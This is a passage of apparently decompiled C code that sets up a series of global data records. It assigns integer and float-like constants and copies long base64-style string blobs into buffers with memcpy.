kOL7pyyv9ca4aALuTtvKWraApKYnkT3lqUByqOSCtfqTfHl/Oc4dKnNj3JNCdaAcCyEvJrSLNM0+x1ZOeHIKfoES6Cg4Hnchs5yd0JoHkjKSDOZ5Q4AZu39qH29hxHUOow4+IJxoV98XTbVU3xeBLHVnq4Iqi+9T9M/85W65IdWPio7zvsIWPX2WfuK+YlSr7gr3rkHsjDMVUa2W+Cm9g7kFJfwMHriymhe2SKwad0AYKE4BHqfts+VTXhfAJjjsF9rYe1zTlqGCcjp9rObr4xHSWB7bHI", 251);
  2761.     *(int16_t *)&g224 = 0x6f43;
  2762.     g225 = -0x80000000;
  2763.     g226 = 0x3f07cf18;
  2764.     *(int16_t *)&g227 = 0;
  2765.     g228 = g6;
  2766.     g229 = 1502;
  2767.     memcpy((char *)&g230, (char *)&g32, 375);
  2768.     *(int16_t *)&g230 = *(int16_t *)&g32;
  2769.     g231 = 0x60000000;
  2770.     g232 = 0x3f40144c;
  2771.     *(int16_t *)&g233 = 0;
  2772.     g234 = g6;
  2773.     g235 = v3;
  2774.     memcpy((char *)&g236, "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", 365);
  2775.     g237 = -0x50000000;
  2776.     g238 = 0x3f33a9d1;
  2777.     *(int16_t *)&g239 = 0;
  2778.     g240 = g6;
  2779.     g241 = 1233;
  2780.     memcpy((char *)&g242, "N4dygf5cnq704De/LQ4yD99dWMxFnDNC2pqxR5PwjMSZEu1iS8eTgboOG0EtWkXMSByt6YvBIDqliVbeHCKKWQP0J+x/Fdb05sHN0L50yOqAfnMgSQUGrWyWOj8dg8gkv8cNFwSCYUtsQwyV3wBnWPStAvJ3C6f8Ff1lbEdhh3dqMvjWYyOT+IQ1mB+gy9DW7IQVzhU9zUptVV/8VjL/hXt/KYuLk1jfc2WkjOvz5rw8+RfAqZsGzjt1itVoqxU57HOqksFATmVOVv14hLGdSeH/JRREmcrnd3g6sSoXT9rgK/HbSvCodEBpdhyk7KFGfibeIycvcYUzsjwocNZMiyot6qMjjKIAC6sFjD+f9N6o0wUogWamhbQuQW8SyVyn7zlvs8Xc9zGyZ21D52jGt5gzUNIz5+rzOSitaSQRuFWurwhEdVImJvssG3yEs0/ZSA5RGkwlX0z2Zupbod+1Y4dYgvVmE9JSmet0QqeSEB5gFqS8ae8IzOHGKmgbE3tuPj4Er6htDgOJG0LL7QlL0Mam56IDW2JatOw+UHSFfCa6xtiM1SZjFEqBoSkIZzUh3ufg1/BgaN9ahWjOELM/oLsaLWaWkBNpQcNK8bFtNS7P9EpmbuEXxDfeDD58iEGYXfQcP7VpR2sOT9LwJAIeh6A+jdqwmIG6+oQ8vrHKPDnaYKv3S108w+OEeT45BFYJKwWk+Ra3vRxnKbnRwJQuKEFILgZJSbVEG96tpqBQ4zYjNt/F17ESbH8qo84gKWu6RAAR6Pr+Urtj/81uAJJZHtd0NwBxGdcO566nFCFN3gjt0JoeF2MLmt0/P2yR9B9PGwlFViNLLfIDbqh7n5SJcMx5G6bTAD68SMpC3btqkL79qvdoP/NWLWfNbfFa+bw7GloQ+rmDHBlJQ5hg6IMi+REkxWwPquOqXoXnOtVv0M2mh0JKr6B7BinPYKTvRTwillNISUh2MVr8BfHLz52EoxrxSlctRKrIxVtBd41QsZ8KU/39GgueUuZIf7M0Cfck4pAOAsx5yeog9EtNtz2iXgOo3hyDc0h1Y++cVvvhmuig0qXJzt8Cavc/WYSDuDbVfMVxUwP+KTyjbOaYDJLrfBU0g1+oCQ8LF4i6eZn3/9Qah9fJpXBEVUkjQ6zHR9YeOjAqKuR4gqR+88y47cE25XMRehX66tw7i5iYm46aLdkMun6+qqX0sX4VP15G1+tOmBW3Cgi1YWV+NqKly", 308);
  2781.     *(char *)&g242 = 78;
  2782.     g243 = 0x46000000;
  2783.     g244 = 0x3f4deac8;
  2784.     *(int16_t *)&g245 = 0;
  2785.     g246 = g6;
  2786.     g247 = 1502;
  2787.     memcpy((char *)&g248, (char *)&g33, 375);
  2788.     *(int16_t *)&g248 = *(int16_t *)&g33;
  2789.     g249 = -0x18000000;
  2790.     g250 = 0x3f3e140d;
  2791.     *(int16_t *)&g251 = 0;
  2792.     g252 = g6;
  2793.     g253 = v3;
  2794.     memcpy((char *)&g254, "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", 365);
  2795.     g255 = 0x66000000;
  2796.     g256 = 0x3f4098b6;
  2797.     *(int16_t *)&g257 = 0;
  2798.     g258 = g6;
  2799.     g259 = 1233;
  2800.     memcpy((char *)&g260, "AqNHj9lpmOzhgYFJ8S74mDjUQTmqcUBQnswViiq0rN/8v7MdbIvLxGUAKJkbPRrAe4kQ73AYLzTwBvC/GK+CECgapQMSUFYwqTJTOykbMv9M+T5YPuNjJ27XbBy8D8TUEJj7jXWLER69l8uu9NXxTDvlFPvke7PbvCiA7RYD+8j+V66tmiFgexu92ur4663V6sKEeQZV5BcYIJHTzQttJ8JnC9fI4zhZDwAc6x/q9kWWN/ftPtPGb77yloLnzrHiDh8kTB4RZTHBJTNKVEaDCvYlmlhu+qt/xW5lwO4kfrhsAShajavx/3xkyv9fkywmMgycTyrRJf1xIdZb0L5TJ5+oFv7yIznWNJEHhC01cwcgNtxWZqPqCpT1dOwI789mlDzlHjEjOthVmY/QC2Tu9yFKeftGdrMCvS8UaJegNfp38NUnwkiEEphdwpJZ7YZPRsEjTktmJWQuzgt8q7wMj1/gxLQ6UROKrR0i2MF/2nspdY292vKniUYacvm1NgZoQINwrxGf9o6VRcbqPiLSXlpdUrJjmbfU6ax1bgRWHrFWe+aEEOeebH/MqKZxvPSNRUn9K75fbrVqle5IlrQ+DjMI53LqvB31St31xR6/IQhisjYEQFY7Cdn5NSvzjp7FxBB9yVHNCDiMt7BAx3PlrRFsZfZ6fy7KdaeouMijcjXpgSNuCVUKpPMTK731XsM+BQ4bnh0Cav96Aqa91DZTRSgSBXozec+FJ4EZiKy72SCozT4gMufxcQguk9fTuxZO5IhycNhnngDMSZ2BA/zPvysHLLjVriejzeZ0A2WrGYw4M1UfDGfl0MLy9OAsSH4vkPj55s9RuzK06yaSp2wFgGsFFOJV1HaAWGdpZCUcK4os64byZlfSpHTw6/Ysyq9f+Ami448RTgPMv4UAhwMnhOR9Pb2UlU4XgHjK0buu0dZrL9m2d/KKnzrachGAMrwwpFFetlqRe9keiEGSd/AD+qKKvuzqDglY8VoevdGcrVMoklXY046c5vFoCfgRuYCILP4aI6b0eWbQxdPB6vDfjNqq7XZ20kKCye5A68L3Io+GwYvlTg2itOJ4aeWkgKgMJVZHy9h5trlS77ncXDx75UF1U55h47BZOvkPjUC4Era/D3r8iCrjv8DPp3CUIKhu7Lfn7+B9/KcXHNgohyqZy1hnI0iBrTv1JUjPxgg1mcPt6XYI+pLSSDe4IfEGJHkYiQpP3YFrMqTXOjxGK", 308);
  2801.     *(char *)&g260 = 65;
  2802.     g261 = -0x18000000;
  2803.     g262 = 0x3f30c7b8;
  2804.     *(int16_t *)&g263 = 0;
  2805.     g264 = g6;
  2806.     g265 = 1502;
  2807.     memcpy((char *)&g266, (char *)&g34, 375);
  2808.     *(int16_t *)&g266 = *(int16_t *)&g34;
  2809.     g267 = 0x5b000000;
  2810.     g268 = 0x3f8afba5;
  2811.     *(int16_t *)&g269 = 0;
  2812.     g270 = g6;
  2813.     g271 = v3;
  2814.     memcpy((char *)&g272, "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", 365);
  2815.     g273 = -0x38000000;
  2816.     g274 = 0x3f27eb36;
  2817.     *(int16_t *)&g275 = 0;
  2818.     g276 = g6;
  2819.     g277 = 1233;
  2820.     memcpy((char *)&g278, "/+3CmrNSY93T90CYblH3/arSy3/Ikpfppab7v/ttDltmWAYtUFrPXSAzzfZIbOuF76kg2Cxr6OmdaANIZv73EGYutwccQhLchwtdwE6wocqyfxD7d6UnbC+IJn84Hrp/IZl8/GMYHMaYujmbfmpDkuMrJVG9GFDyYtmMEoBed0AiRihI/19JQIvCeEER6Z0LS4orDQQB5LQcRHKUDXyiU8whdEYNVyve1MAWt/TjSAZNVoLog3MEfx2qlXZFKZkmmBch01PeIpzevpf9xdsPItHzzgBLiyk2PVZG5eOOjiyo6DysGdE8JHCwqJidXARxJG1+9nybvRj55sH2KMmgId7x7/L1HK6oVRC/h1frsvol3nVUaDdRa7jwmslNIRERnJbWQLwHQvbbgcZJl0aqNH6mWJ5QRK1t54d/Tu44oZ62xqmCgzVvDxe9ws1lxtW2urNSAlKN5pLn+nnG+xPt3grXpVnGk78g0IMobHc1dF+AtRYDOMoCfw+i8ANdrfp8W+UkvMNkHNySjWOI7NnaGBs/ZJb/2RDuN+hIY6wCtZNTRLqn5g0IS3bHdIZZeBI2TuZsmNidiw0xbgBbBR7bJMpFFk5HN41YufB1uCsXly67Ex1FaMMHB0FoejOWsTPK/jVDwBliwqguSDzJRWK/1uoz55aWCR7ux0Yjxp3fEHgITZMj1q4yHiPfFL3c31lwoqp8CSSGMfqtFVuhCH8V2F/fV5J6KE6ArnLZs+GdscOUXQAg46tyOhgQYXwpvMrFOJfYphOxGSIpjw4ovTaz1IHdJYJp9CPAfS1jZwyOEg2QSREx99N8IUkJcSXnVVzDUUuJpws2fnPBt6rk7MwoGUs2j3nRxxm77wlZHTInHxJz2QqbsQGqKOMTmEOtwrUg+ZRAJJbBTJ9I+mFbDsZulqVDGrK80QV+dcARKE7F0PTFvZwAAttjgd3vOOhsBFvePugEd4Aame1goNc70x6Lb9FSGjRhO/NXxTLldTc3bh47SlfKRjiOcxRZOlOXrEdNUUSNwRWbsK3woSTj3FsP0eOy/Bs94RtL338bTcpVUBsu/SApl38h2FmRUZLNADvcmsNpd20MGUcBtoXz1qMpyrzGRY60wdFsCsvwiP5shGkqmJKh2tLo1g/2utoHAzhEPwh05oAxG4M1jYKxa7lUXqpdTAOgrsLgHFcp9hxN9PdrHAQaAr3kLbABSoknoza6/P7JURK3jZWBn+Ut8", 308);
  2821.     *(char *)&g278 = 47;
  2822.     g279 = -0x80000000;
  2823.     g280 = 0x3ef58c14;
  2824.     *(int16_t *)&g281 = 0;
  2825.     g282 = g6;
  2826.     g283 = 1502;
  2827.     memcpy((char *)&g284, (char *)&g36, 375);
  2828.     *(int16_t *)&g284 = *(int16_t *)&g36;
  2829.     g285 = 0;
  2830.     g286 = 0x3ef8c0b0;
  2831.     *(int16_t *)&g287 = 0;
  2832.     g288 = g6;
  2833.     g289 = v3;
  2834.     memcpy((char *)&g290, "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